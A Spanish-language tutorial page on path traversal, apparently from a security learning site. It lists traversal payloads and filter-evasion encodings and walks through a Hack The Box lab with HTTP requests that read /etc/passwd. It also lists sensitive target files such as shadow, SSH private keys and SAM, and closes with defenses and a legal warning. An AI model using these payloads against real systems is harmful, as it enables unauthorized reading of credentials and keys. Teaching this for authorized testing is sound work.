Volver al inicio
</>

Path Traversal

Vulnerabilidades de Traversal de Directorios y Local File Inclusion

¿Qué es Path Traversal?

Definición: Path Traversal (también conocido como Directory Traversal) es una vulnerabilidad de seguridad web que permite a los atacantes acceder a archivos y directorios que se encuentran fuera del directorio raíz del servidor web. Esta vulnerabilidad explota la falta de validación adecuada en las rutas de archivo, permitiendo navegación no autorizada a través del sistema de archivos del servidor.

Esta vulnerabilidad puede permitir a los atacantes:

  • Lectura de archivos sensibles: /etc/passwd, archivos de configuración
  • Acceso a código fuente: Revelar lógica de aplicación
  • Enumeración del sistema: Estructura de directorios y archivos
  • Escalación de privilegios: Acceso a claves SSH, tokens

Impacto de Seguridad: Las vulnerabilidades de Path Traversal pueden resultar en exposición completa de información confidencial, compromiso del servidor y en casos extremos, ejecución remota de código.

Herramientas de Explotación

Burp Suite
Proxy interceptor para modificar peticiones HTTP y automatizar ataques de traversal.
OWASP ZAP
Scanner de seguridad web con detección automática de vulnerabilidades de traversal.
DirBuster
Herramienta de fuerza bruta para descubrir archivos y directorios ocultos.
Wfuzz
Fuzzer web para automatizar ataques de path traversal con diccionarios personalizados.

Técnicas de Path Traversal

Payloads Básicos

Traversal Básico
Navegación hacia directorios superiores
../../../etc/passwd
URL Encoding
Codificación para evadir filtros
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Double Encoding
Doble codificación para evasión avanzada
%252e%252e%252f
Null Byte
Truncar validación con null bytes
../../../etc/passwd%00.jpg
Windows Paths
Rutas específicas para sistemas Windows
..\..\..\windows\system32\drivers\etc\hosts
Linux Paths
Rutas comunes en sistemas Linux/Unix
../../../../proc/version

Caso Práctico: HTB Inject

Explotación de Path Traversal en Aplicación Web
Información del objetivo:
  • Máquina: HTB Inject (10.10.11.204)
  • Puerto: 8080
  • Vulnerabilidad: Path Traversal en funcionalidad de upload
  • Objetivo: Lectura de archivos del sistema

Proceso de Explotación:

1
Descubrimiento de Funcionalidad
Identificación de endpoint de upload de imágenes vulnerable
2
Análisis de Parámetros
Examen del parámetro "img" en la función show_image
3
Intercepción con Burp Suite
Captura y modificación de peticiones HTTP
4
Explotación Exitosa
Lectura de archivos críticos del sistema

URL de Upload Original:

http://10.10.11.204:8080/upload
Interfaz de upload de archivos en HTB Inject

Interfaz web para subir archivos en la máquina HTB Inject

URL de Visualización Vulnerable:

http://10.10.11.204:8080/show_image?img=anonymous.jpg
Visualización del archivo subido en el navegador

Visualización del archivo anonymous.jpg a través del parámetro vulnerable 'img'

Análisis de la Vulnerabilidad:

  • El parámetro img no valida la entrada del usuario
  • Permite caracteres de traversal como ../
  • No restringe el acceso a directorios del sistema
  • Carece de lista blanca de archivos permitidos

Payload de Explotación - Archivo passwd:

HTTP Request
GET /show_image?img=../../../../../../etc/passwd HTTP/1.1 Host: 10.10.11.204:8080 User-Agent: Mozilla/5.0 (compatible; HackingUsef/1.0) Accept: text/html,application/xhtml+xml
Intercepción de la petición con Burp Suite

Intercepción y modificación de la petición HTTP con Burp Suite para ejecutar el payload

Resultado obtenido: El payload permite acceder al archivo /etc/passwd, revelando usuarios del sistema como root, daemon, bin, sys, sync, games, man, lp, mail, news, www-data, y otros usuarios críticos.

Contenido del archivo /etc/passwd obtenido

Contenido del archivo /etc/passwd obtenido exitosamente mediante Path Traversal

Payload de Explotación - Directorio WebApp:

HTTP Request
GET /show_image?img=../../../../../../var/www/WebApp HTTP/1.1 Host: 10.10.11.204:8080

Este payload permite el directory listing de la aplicación web, revelando:

  • Estructura de la aplicación
  • Archivos de configuración
  • Código fuente de la aplicación
  • Dependencias y librerías utilizadas
Directory listing de la aplicación WebApp

Directory listing del directorio /var/www/WebApp revelando la estructura de la aplicación

Archivos Objetivo Comunes

Sistemas Linux/Unix

Usuarios del Sistema
/etc/passwd
/etc/shadow
/etc/group
Configuraciones
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/ssh/sshd_config
Claves y Tokens
/root/.ssh/id_rsa
/home/user/.ssh/authorized_keys
/etc/ssl/private/

Sistemas Windows

Sistema Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\boot.ini
IIS y Aplicaciones
C:\inetpub\wwwroot\web.config
C:\Windows\debug\NetSetup.log
C:\Windows\Panther\Unattend.xml

Técnicas de Evasión

Encoding Múltiple
%2e%2e%2f (URL)
%252e%252e%252f (Double)
\u002e\u002e\u002f (Unicode)
Caracteres Alternativos
..\/..\/..\/etc/passwd
.\\.\\.\\.\\windows\\system32
Bypass de Filtros
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
Truncamiento
../../../etc/passwd%00.png
../../../etc/passwd%0a.jpg

Medidas de Protección

Implementación de Defensas:

  • Validación de Entrada: Lista blanca de archivos permitidos
  • Canonicalización: Resolver rutas absolutas antes de la validación
  • Sandboxing: Restringir acceso a directorios específicos
  • Principio de menor privilegio: Permisos mínimos para la aplicación

Consideraciones Éticas y Legales

Advertencia Legal: Las técnicas de Path Traversal solo deben utilizarse en:

  • Aplicaciones web propias o con autorización explícita
  • Plataformas de práctica autorizadas (HTB, TryHackMe, DVWA)
  • Entornos de pentesting con contrato legal válido
  • Laboratorios controlados de ciberseguridad

El acceso no autorizado a archivos del sistema constituye una violación grave de la seguridad informática y puede ser constitutivo de delito según las leyes locales e internacionales.

Recursos de Práctica

DVWA
Damn Vulnerable Web Application con módulo específico de File Inclusion
WebGoat
Proyecto OWASP con lecciones interactivas de Path Traversal
PentesterLab
Laboratorios web con ejercicios de Directory Traversal
PortSwigger Academy
Labs gratuitos de Path Traversal con diferentes niveles de dificultad